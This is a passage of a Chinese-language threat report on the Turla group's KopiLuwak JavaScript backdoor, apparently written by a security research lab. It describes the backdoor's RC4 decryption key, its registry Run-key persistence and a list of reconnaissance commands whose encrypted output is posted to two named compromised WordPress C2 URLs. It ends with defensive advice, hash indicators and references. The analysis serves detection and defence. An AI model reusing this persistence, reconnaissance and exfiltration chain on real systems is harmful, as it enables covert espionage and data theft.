執行該mailform.js文件,傳入參數NPEfpRZ4aqnh1YuGwQd0,該參數是RC4密鑰,負責解密內置的數據,解碼后,仍然是一個JavaScript文件,該文件即為KopiLuwak后門。
移動自身文件,根據系統版本不同,轉到不同文件夾中:
c:\Users\<USERNAME>\AppData\Local\Microsoft\Windows\mailform.js
c:\Users\<USERNAME>\AppData\Local\Temp\mailform.js
c:\Documents and Settings\<USERNAME>\Application Data\Microsoft\Windows\mailform.js
通過設置注冊表HKEY_CURRENT_USER\software\microsoft\windows\ccurrentversion\run\來完成持久化駐留,鍵值為wscript.exe mailform.js “NPEfpRZ4aqnh1YuGwQd0”。
通過cmd.exe執行以下命令,并將結果寫入與mailform.js同一目錄下的~dat.tmp文件中,并使用RC4算法對結果進行加密,密鑰為“2f532d6baec3d0ec7b1f98aed4774843”,加密后刪除原始文件:
systeminfo
net view
net view /domain
tasklist /v
gpresult /z
netstat -nao
ipconfig /all
arp -a
net share
net use
net user
net user administrator
net user /domain
net user administrator /domain
set
dir %systemdrive%Users*.*
dir %userprofile%AppDataRoamingMicrosoftWindowsRecent*.*
dir %userprofile%Desktop*.*
tasklist /fi “modules eq wow64.dll”
tasklist /fi “modules ne wow64.dll”
dir “%programfiles(x86)%”
dir “%programfiles%”
dir %appdata%
該后門內置了兩個地址:http://soligro.com/wp-includes/pomo/db.php, http://belcollegium.org/wp-admin/includes/class-wp-upload-plugins-list-table.php,用于通訊,可以通過路徑推斷第二個網站使用了WordPress,并被攻擊者攻陷,用于C2托管。
利用POST方法將前述加密數據發送到這兩個網站其中任意一個中,其中發送的User-Agent字段除了使用"Mozilla/5.0 (Windows NT 6.1; Win64; x64);填充外,在末尾補充了當前計算機名稱生成的一個UID,算法如下,其中zIRF代表字符串“KRMLT0G3PHdYjnEm”,Vxiu代表當前計算機用戶名:
C2在接收到數據后,會回復四種指令:
當接收到work指令時,會將搜集到信息全部發回C2,接收到fail指令時,則清理注冊表HKEY_CURRENT_USER\software\microsoft\windows\ccurrentversion\run\中的數據。
Turla組織是目前APT團伙中使用最為復雜攻擊工具的組織之一,其目標涵蓋了歐洲各國外交部,軍隊,歐洲、美洲等國家的情報部門。在前期的攻擊活動中,該組織使用自研武器對外進行攻擊,特征較為明顯。在近幾年,該組織轉而大規模使用開源平臺,如MSF、cobalt strike等構建的后門,入侵攻擊,橫向移動工具等,將自身行動掩蓋在大量的攻擊活動中,以期獲得更多的情報信息,延緩被發現和檢測的時間。
同時,該組織善于使用水坑網站對目標進行滲透,在很長一段時間內,都不容易被發現,因此對于該組織的防御應著重關注網頁訪問記錄,排查偽造域名的政府、基礎網站,以此來降低被攻擊的風險。
40aa66d9600d82e6c814b5307c137be5
f4f192004df1a4723cb9a8b4a9eb2fbf
cb1b68d9971c2353c2d6a8119c49b51f
e1ee88eda1d399822587eb58eac9b347
db93128bff2912a75b39ee117796cdc6
a67311ec502593630307a5f3c220dc59
a7853bab983ede28959a30653baec74a
2145945b9b32b4ccbd498db50419b39b
62e9839bf0b81d7774a3606112b318e8
cd4c2e85213c96f79ddda564242efec3b970eded8c59f1f6f4d9a420eb8f1858
bf6f30673cf771d52d589865675a293dc5c3668a956d0c2fc0d9403424d429b2
b51105c56d1bf8f98b7e924aa5caded8322d037745a128781fa0bc23841d1e70
8490daab736aa638b500b27c962a8250bbb8615ae1c68ef77494875ac9d2ada2
fc9961e78890f044c5fc769f74d8440fcecf71e0f72b4d33ce470e920a4a24c3
e7fd14ca45818044690ca67f201cc8cfb916ccc941a105927fc4c932c72b425d
b295032919143f5b6b3c87ad22bcf8b55ecc9244aa9f6f88fc28f36f5aa2925e
b362b235539b762734a1833c7e6c366c1b46474f05dc17b3a631b3bff95a5eec
b79cdf929d4a340bdd5f29b3aeccd3c65e39540d4529b64e50ebeacd9cdee5e9
244896995b6b83f11df944ccda41ed9f1f1d811ebf65d75fe4337fd692011886
05254971fe3e1ca448844f8cfcfb2b0de27e48abd45ea2a3df897074a419a3f4
26a1a42bc74e14887616f9d6048c17b1b4231466716a6426e7162426e1a08030
5d0973324b5b9492ddf252b56a9df13c8953577bdb7450ed165abbe4bf6e72d8
2a61b4d0a7c5d7dc13f4f1dd5e0e3117036a86638dbafaec6ae96da507fb7624
6e7991f93c53a58ba63a602b277e07f7
7481e87023604e7534d02339540ddd9565273dd51c13d7677b9b4c9623f0440b
d2a0eec18d755d456a34865ff2ffc14e3969ea77f7235ef5dfc3928972d7960f
05d07279ed123b3a9170fa2c540d2919
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2014/08/20082353/GData_Uroburos_RedPaper_EN_v1.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2014/08/20082358/uroburos.pdf
https://www.circl.lu/pub/tr-25/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
https://unit42.paloaltonetworks.com/unit42-kazuar-multiplatform-espionage-backdoor-api-access/
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://securelist.com/kopiluwak-a-new-javascript-payload-from-turla/77429/
https://securelist.com/introducing-whitebear/81638/
https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/
https://attack.mitre.org/groups/G0010/
伏影實驗室專注于安全威脅研究與監測技術,包括但不限于威脅識別技術,威脅跟蹤技術,威脅捕獲技術,威脅主體識別技術。研究目標包括:僵尸網絡威脅,DDOS對抗,WEB對抗,流行服務系統脆弱利用威脅、身份認證威脅,數字資產威脅,黑色產業威脅 及 新興威脅。通過掌控現網威脅來識別風險,緩解威脅傷害,為威脅對抗提供決策支撐。